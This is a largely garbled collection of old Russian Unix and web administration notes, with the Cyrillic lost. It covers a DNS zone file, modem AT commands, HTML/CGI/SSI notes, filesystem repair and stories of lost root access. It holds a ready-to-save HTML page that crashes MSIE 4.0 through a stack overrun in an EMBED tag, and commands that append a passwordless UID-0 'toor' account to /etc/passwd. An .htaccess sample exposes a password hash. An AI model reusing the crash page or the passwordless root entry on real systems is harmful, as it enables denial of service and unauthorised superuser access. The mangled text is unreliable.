@ IN SOA server.foms.msk.ru. moshkow.server.foms.msk.ru. (
95031802 ; Serial (yymmddxx)
10800 ; Refresh 3 hours
3600 ; Retry 1 hour
3600000 ; Expire 1000 hours
86400 ) ; Minimum 24 hours
NS server.foms.msk.ru.
NS ns2.msk.ru.
MX 0 server.foms.msk.ru.
; MX 20 mail.msk.ru.
; MX 30 mailhost.kiae.su.
localhost A 127.0.0.1
$INCLUDE /var/named/primary/foms-hosts-spisok
;; *.develop.foms.msk.ru
;; , .
;margo.develop IN A 193.95.100.4
;develop IN NS margo.develop.foms.msk.ru.
;############## ###################################
;##############
;;;;;;;;;;;; Hosts in foms.msk.ru zone ;;;;;;;;;;;;;;;;;;;;;;;;
; Our main server with DNS, ftp, gopher, www, mailrelay, NFS,
;
server A 198.8.2.1 ; e1x70 ethernet
A 198.8.3.1 ; m3760 ethernet
A 193.124.158.33 ; sl0 slip link
MX 0 mailrelay
HINFO Motorola88/110 "SVR4.1/88"
WKS 198.8.2.1 UDP ( time domain name )
WKS 198.8.2.1 TCP ( echo telnet hostnames domain )
mailrelay CNAME server
ftp CNAME server
fedfond CNAME server
; Host s20
;
s20 A 198.8.2.20
MX 0 mailrelay
MX 20 linux
HINFO Besta/31 UNIX-V.3
besta CNAME s20
; Host pcat101
;
pcat101 A 198.8.2.101
MX 0 mailrelay
HINFO PC486/66DX2 "MSDOS 6.2"
pc101 CNAME pcat101
guest CNAME pcat101
; Host pcat106
;
pcat107 A 198.8.3.107 ; eth0
A 193.124.158.34 ; sl0 slip link
MX 0 pcat107
MX 10 mailrelay
HINFO PC486/66DX2 "Linux 1.2.1"
pc107 CNAME pcat101
linux CNAME pcat101
;############## ###################################
;##############
@ IN SOA server.foms.msk.ru. moshkow.server.foms.msk.ru. (
94102501 ; Serial
10800 ; Refresh 3 hours
3600 ; Retry 1 hour
3600000 ; Expire 1000 hours
86400 ) ; Minimum 24 hours
NS server.foms.msk.ru.
; Reverse-name [ttl] PTR Real-name-dot
;
1 PTR server.foms.msk.ru.
20 PTR s20.foms.msk.ru.
101 PTR pcat101.foms.msk.ru.
;############## ###################################
;##############
@ IN SOA server.foms.msk.ru. moshkow.server.foms.msk.ru. (
94102501 ; Serial
10800 ; Refresh 3 hours
3600 ; Retry 1 hour
3600000 ; Expire 1000 hours
86400 ) ; Minimum 24 hours
NS server.foms.msk.ru.
; Reverse-name [ttl] PTR Real-name-dot
;
1 PTR server.foms.msk.ru.
106 PTR pcat106.foms.msk.ru.
107 PTR pcat107.foms.msk.ru.
;############## ###################################
.
&dD Unix&d@
,
O'Raily, ( )
- . .., (
,
) (,
O'Raily)
:
&dD, &d@
, , - "UNIX -
". Warning!
regex
. imho manpages,
.
- .
.
&dD&d@
" UNIX". ,
SysV.release-unknown. .
&dD&d@
( ) troff . ,
" " - "".
&dD85&d@
-- - 85.
.
.
&dD . . Unix&d@
"" -
. Unix . " C"
. , ,
- .
-- 480
.
&dD" . "&d@
Co. " . " (
) -- POSIX .
1989. , .
...
&dD"UNIX/ "&d@
"UNIX/ ", ,
, , .. , bhv, 1997. 830 .,
50 .
, .
. , - security,
. .
&dD"Linux/ "&d@
. , bhv, 1997. 760 .
bhv,
Unix,
. .
. .
&dD * * &d@
&dD BHV"&d@
Unix Internet
"BHV - " 270-2032
1. " " ., 40 (095) 137 6019
0633*
2. "-" . , 6 (095) 928 8744
3. " " . . , 28 (095) 238 0032
5001*
4. "-" . , 15 (095) 924 3624
5. "" . , 8 (095) 229 7355
6. " " . , 8 (095) 203 8242
7. " . , (095) 229 4392
" 7/5
8. "" ., 78 (095) 152 8282
9. "" . , 24 (095) 362 0923
10. "" . , 11 (095) 313 8345
11. "" ., 9 (095) 954 3044
12. "" ., 19/4 (095) 928 6269
13. "" ., 29 (095) 955 4101
14. "" , 15 (095) 366 9295
______________________________________________________
* - , -
- "" 911-9863
911-9742 . -, 45 .2. .
, . ,
. -.
45 ( ) .
http://www.book.ru
http://www.bhv.ru
&dD Linux&d@
:
,
, ,
5-10 .
- .
.
&dD Hayes- &d@
( ZyXEL 1496*, GVC-1440)
AT&F0 Factory setting
ZyXEL
Enter Data/Voice
ATZ0 profile 0
AT&V setup
AT&W0 setup profile 0
AT&Y0 profile 0
ATE0
atdp
+++ connect'
ATO CONNECT
ATH
ATA
ATS0=2 2-
&dD, &d@.
AT&P1 Make / break 33/67 (Europe)
ATQ0
ATV1
&dD, &d@.
AT&L1
AT\N5 MNP5 V42bis
ATB6 2400
ATL0
ATM0 Speaker always off
&dD GVC-1440&d@
B_ B1 Bell mode (*)
B2 Autoscan mode
D_ R originate call in answer mode
W whait for second dialtone
, pause
@ wait for 5 seconds silence
! flash
; return to command mode after dialing
H 1 make busy
I [0-4] info
L 2 medium speacker
M 0 internal speacker off
1 internal speacker on until carrier
2
3
O 0 return to data mode
1 return to data mode and initiate equaliser retrain
s0 autoanswer ring 0
s1 ring counter 0
s2 Escape code character +
s3 CR character 13
s4 LF character 10
s5 BS character 8
S6 dial tone whait time 2 sec
S7 remote carrier whait time 45 sec
s8 comma pause time 2 sec
s9 carrier dettect responce time 6 *1/10 sec
s10 carrier loss time 14 *1/10 sec
s11 touch tone dialing speed 95 ms
s12 esc character detect time 50 1/50 sec
s14 bitmap
s16 bitmap
s18 modem test timer 0
s21 bitmap
s22 bitmap
s23 bitmap
s25 DTR delay 5 sec
s26 RTS to CTS delay interval 1 *1/100 sec
s27 bitmap
s28 bitmap
.
&dD HTTPD HTML&d@
, -
&dD"Document source"&d@
&dD &d@
index.html , index
,
HEADER.html
README.html
.htaccess
:
Alias - .
.
?
&dD:&d@
:
& - &
" - "
> - >
< - <
>> - >>
<< - <<
(C) - © ©
(R) - ®
-
-
<= - <=
>= - >=
Extra space -
&dD&d@
2-
&dD (Unnumbered list)&d@
&dD (Numbered list)&d@
-
-
&dD "" :&d@
,
12
&dD (Definition list)&d@
-
- ,
-
- ,
80
.
&dD &d@
Bold
Itallic
Underline Netscape 3
Typewriter
Strike
&dD &d@
Definition. italic
Emphasis. italic
Titles of books. italic
Programm. fixed
User keyboard entry. bold fixed
Status message fixed
Variable. italic
Strong emphasis. bold
italic
&dD &d@
_BODY_
, .
, ,
background
&dD .&d@
Low impact
&dD &d@
ALT - , ,
LOWRES - -
BACKGROUND
&dD -&d@
, ?
&dD imagemap&d@
&dD HTTP/1.*&d@
tcp www.host.com
( 80)
GET /local/url/file/name.html HTTP/1.0
Host: www.host.com
Http_referer: url_____
,
, .
, GET
. . .
^M^J - - -
:
http-
^M^J -
as is
&dD:&d@
$ telnet www 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET /index.html HTTP/1.0
Enter
&dD HTTP/1.1 ?&d@
"Range: bytes nnn-".
206 - " "
.
, 200
.
&dDSSI - Server Side Includes&d@
, www.apache.org
0. SSI- Last-modified,
XBitHack full
chmod g+x file.shtml
1. SSI ,
:
/etc/httpd/conf/access.conf :------------------------
# ""
Options +Includes # Options All
/etc/httpd/conf/srm.conf :------------------------
AddType text/html .shtml
AddHandler server-parsed .shtml
2. SSI .shtml
:
charset=
The value will often be enclosed in double quotes; many com
mands only allow a single attribute-value pair.
The allowed ELEMENTS are:
config -
config
errmsg - ,
sizefmt -
timefmt -
var -
exec - shell CGI-
cgi - (%-encoded) URL relative path to the CGI script.
cmd - shell
fsize -
file -
virtual -(%-encoded) URL-path relative
flastmod -
include -
file -
virtual - URL -
Include variables
These are available for the echo command, and to any program
invoked by the document.
DATE_GMT
The current date in Greenwich Mean Time.
DATE_LOCAL
The current date in the local time zone.
DOCUMENT_NAME
The filename (excluding directories) of the document requested
by the user.
DOCUMENT_URI
The (%-decoded) URL path of the document requested by the user.
Note that in the case of nested
include files, this is not then URL for the current document.
LAST_MODIFIED
The last modification date of the document requested by the user.
If server side includes are enabled, you will see data values below:
The date is:
The current version of the server
The CGI gateway version
The server name
This file is called:
This file's URI
The query string
This file was last modified:
The size of the unprocessed file
sample.html was last modified
You are using
You came from
# SSI perl-cgi
if (//) {
print $`;$tmp = $';
open (INC,"$inc") || die "Can't Open $inc: $!\n";
while () {
if (//) {
@time = localtime ( time() ); $time[4]++;
if ($time[4] < 10) { $time[4] = "0" . "$time[4]"; }
s//$time[3].$time[4].$time[5]/g;
}
print $_;
}
close(INC);
print "$tmp";
}
&dD httpd.conf&d@
SetEnvIfNoCase Referer rusf\.ru internal_referer
SetEnvIfNoCase User-Agent Teleport internal_referer
SetEnvIfNoCase User-Agent Vampire internal_referer
SetEnvIfNoCase User-Agent ReGet internal_referer
SetEnvIfNoCase User-Agent GetRight internal_referer
SetEnvIfNoCase User-Agent Wget internal_referer
ErrorDocument 403 http://rusf.ru/books/index.htm
order deny,allow
deny from all
allow from env=internal_referer
# No offline browsers robots.txt
User-Agent: DISCo Pump, Wget, WebZIP, Teleport Pro, WebSnake, Offline
Explorer, Web-By-Mail
Disallow: /
&dDCGI - httpd&d@
, - gateeway'.
CGI-script /home/httpd/cgi-bin
( , acces.conf
,
, .
, " "
/etc/httpd/conf/srm.conf :------------------------
AddType application/x-httpd-cgi .cgi
CGI-
- .cgi
&dD &d@
, "cl"
http://hoohoo.ncsa.uiuc.edu/file.html#cl
Request for a CGI script with no extra path information and no query.
http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi
Request for a script with extra path information, and no query.
http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi/extra/path
Request for a script with no extra path information, and an ISINDEX query.
http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi?query
Request for a script with extra path information as well as an ISINDEX query.
http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi/extra/path?a+query
, 0,1,1 2 :
extra path - " ",
query - "?"
extra path image map -
query ISINDEX
&dDCGI- :&d@
.
REMOTE_ADDR=127.0.0.1
REMOTE_HOST=localhost
HTTP_REFERER=http://www.ac.msk.su:80/cgi-bin/html-KOI?KSP/bachurin.txt
REQUEST_METHOD=GET
QUERY_STRING=query
PATH_INFO=/marshrut
PATH_TRANSLATED=/home/httpd/docs/marshrut
SCRIPT_NAME=/cgi-bin/proba
HTTP_USER_AGENT=NCSA Mosaic for the X Window System/2.4 libwww/2.12 modified
checkbox':
# ISINDEX - CGI $1
# METHOD=GET -
# QUERY_STRING
# http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi?button1=on&button2=off
# POST, PUT.
. cgi- .
CONTENT_LENGTH
- CONTENT_TYPE
FORM ACTION="http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi" METHOD="POST"
&dD :&d@
Status: 200 OK
Status: 404 File not found
Content-type: text/html
, -
, , :
Location: /path/doc.txt
Location: gopher://gopher.ncsa.uiuc.edu/
-
, :
--- start of output ---
HTTP/1.0 200 OK
Date: Tuesday, 26-Dec-95 15:17:10 GMT
Server: NCSA/1.3
MIME-version: 1.0
Content-type: text/html
Last-modified: Tuesday, 24-Dec-95 15:15:41 GMT
Content-length: 3132
This is a plaintext document generated on the fly just for you.
--- end of output ---
$SERVER_PROTOCOL $SERVER_SOFTWARE
&dD&d@
URL timeout'. :
HTML- - 12
URL
- META HTTP-EQUIV
HTTP- . " charset':
Content-type: text/html
Set-Cookie: cookiename=valueofcookie; expires=Saturday, 28-Feb-96 23:59:59 GMT; path=/cgi-bin/mycgiprogram
,
. http://citforum.ru/win/internet/html/c_what_is.shtml
, ,
Status: 204 No Content
mailto
tets
> .
> ( , )
> - hidden frame.
, _ _
:
__
, -
http://koshelev.ru/cgi-bin/bannerOver
204 No Content - .. _ _
.
&dD &d@
,
- .
&dD &d@
MSIE 4.0. 4.01 can be crashed with a little help of the < EMBED > tag.
<EMBED SRC=file://C|/A.ABOUT_200_CHARACTERS_HERE___________________>
opens a dialog box and closes IE 4.0. the long file extension causes stack overrun.
--------cut here and save as crashmsie.html---------------------
Trying to crash IE 4.0
<EMBED
SRC=file://C|/A.012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789>
40
80 160 170 180 190 200
</HTML>
---------------------------------------------------------------
&dD &d@
.htaccess
order deny,allow
deny from all
allow from polimos.ras.ru localhost
AuthType Basic
AuthName lenta.ru
AuthUserFile /home/www/passwd
# moshkow:1HrhNpfYnwTau crypt()
require valid-user
&dD. &d@
. HTML
, HTML 2.0 HTML 3
.
&dD &d@
Unix - &dDfsck&d@. , .
, .
&dD * LINUX * &d@
:
.
&dD/dev/hd-name&d@
( /dev/hda2, /dev/hdb3 /dev/sda1...)
fs &dDtune2fs&d@
-c max-mount-counts -m reserved-blocks-percentage ..
tune2fs -m 1 /dev/hd-name # 50Mb ,
#
#
:
fsck -y -c -f /dev/hd-name
"" bad-
fsck -y -c -f /dev/hd-name
# -y "yes"
# -c bad- readonly inod bad-
# -f ( "fs is clean"
, -b 8193 -b 16385 ...
. sb
newfs. ( ?)
fs
&dDtune2fs -l&d@ &dDdumpe2fs&d@
tune2fs /dev/hd-name
dumpe2fs /dev/hd-name
__ - &dDmke2fs -S&d@
__ ,
mke2fs -S /dev/hd-name # Write superblock and group descriptors only
fsck -y /dev/hd-name # fsck
.
&dDdebugfs&d@
man debugfs
&dD &d@
, , single-user mode
LILO- (Left-alt)
single
Lilo: &dDlinux single&d@
linux' single-user root.
, :
Lilo: linux init=/bin/sh
( rescue- unix)
Lilo: linux init=/bin/sh root=/dev/fd0H1440
readonly write
mount -t ext2 -n -o remount,rw /dev/hd-root /
fs,
mount -t ext2 -o sb=8193,nocheck /dev/hd-name /mntname
( ):
man mount
.
&dD . Unix, &d@
&dD 1 . /etc/passwd&d@
&dD
> ( :), ) root'y
> /sbin/sh /bin/ksh
> /etc/passwd, ,
> /sbin/ksh.
> :
> $ su root -c /sbin/sh
> . .
> , : ?
&d@
. . - ",
shell ..." :-)
0. shell - root' - : su root -m -s /bin/sh
, -
single user mode CD/floppy/tape
1. df, / ,
,
mknod # mkdev, mknode, mksf -
#
,
- /dev/root ( "/"
2. //CD.
install/update/system maintance
"system maintence" ( shell root')
/dev/root /mnt
/mnt/etc/passwd
&dD No 1&d@
-
(!). -
mknode .
&dD No 2&d@
vi ( terminfo) .
.
echo "toor::0:0:Yet another Super-User:/:" >> /mnt/etc/passwd
^^^^^^
>> > ( :-)
:
PATH=$PATH:/mnt/bin:/mnt/usr/bin export PATH
TERMINFO=/mnt/usr/lib/terminfo #
- ,
,
, .
: root passwd Motorola Unix SVR4/88.
1. major/minor / /usr
104 0 /dev/root
104 3 /dev/dsk/m197_c0d0s3
2. , maintance .
3. , / /usr,
(..
root ).
mkdir /mnt
mknod /dev/rootn b 104 0
/etc/fs/ufs/fsck /dev/rootn
mount -F ufs /dev/rootn /mnt
/usr
mknod /dev/usr3 b 104 3
/etc/fs/ufs/fsck /dev/usr3
mount -F ufs /dev/usr3 /mnt/usr
4. /etc/passwd, root
echo "toor::0:1:Adm:/:/sbin/sh" >> /mnt/etc/passwd
5. C root' ( /mnt)
chroot /mnt /sbin/sh
6. shadow
pwconv
.
&dD 2 . /etc/fstab&d@
Date: 20 Apr 1997
From: Bernshtam Pavel (barnshte@CS.bgu.ac.il)
- /etc/fstab reboot
- - ( Axil SunOS
4.1) single user.
ls - Command not found - - /usr
SUN' /sbin - mount,
- /sbin/mount /usr.
VI!
set TERM -
VI. fstab - ( -
PICO, VI !!!), , save' - root partition
READ ONLY !!!
stop-A.
, , boot-
b -rw ( write),
mount VI /etc/fstab.
... - VI /var , .
/tmp - /var/tmp , VI /tmp .
/* Linux -
read-write - single-user-mode
mount -n -o remount /
*/
&dD rm -rf SCO&d@
, ".*" ".."
rm -r .*
( unix' , )
&dD
From:
"... SCO- Oracl
..."
# cd /usr/tmp
# rm -rf *
, /usr/tmp/.X11-0 ..
# rm -rf .* # !
# du
ldd: Can not open file
# df
ldd: Can not open file
# ls -al
ldd: Can not open file
&d@
. . .
. ,
/usr/tmp/.* /usr/tmp/.. reboot' ,
/usr .
&dD " "&d@
, Unix + TCP/IP -
.
&dD 1.&d@ IP-,
... - ,
ifconfig eth0 down
.
ifconfig eth0 NEW-IP .
, _ _
ifconfig eth0 down ; ifconfig eth0 NEW-IP up ; route add ...
&dD 2.&d@ security.
/etc/hosts.deny
ALL:ALL
/etc/hosts.allow
ALL:193.263.12.13
^^^ , ,
- .
&dD "" " "&d@
, reset ,
, , . telnet'
- .
, - voila!
&dD /lib/libc.so - LIB C&d@
Linux. 1993 . LibC. , ,
- - , - .
cd lib
mv libc.so libc.so-old
mv libc.so-new libc.so
ldd: Can not execute, shared library not found
Finish.
, hd.
, , ,
, .
... Linux. ,
/sbin - staticaly-linked -
libc .
&dD 1. Trusted mode - &d@
HP-UX sam'
- GUI, - .
- - .
, "Ok" SAM
trusted . , .
, root. trusted
,
- .
- single user mode:
prompt IPL
IPL> hpux -is
sam. "untrusted"
# mount -a
# sam
boot -
.
&dD 2. Security class C2: , SCO&d@
Security class C2 - .
. - .
SCO
, . getty
, 6- ,
getty Login "Intruder attempts, tty
line /dev/modem disabled".
getty.
&dDScreen- Enter&d@
screen-saver , ? , ,
CTRL.
/tmp. - root'.
rm -rf /tmp/*, ,
rm -rf /_ - .
, , __
. , ?
.
Last-modified: Mon, 10 Sep 2001 12:43:31 GMT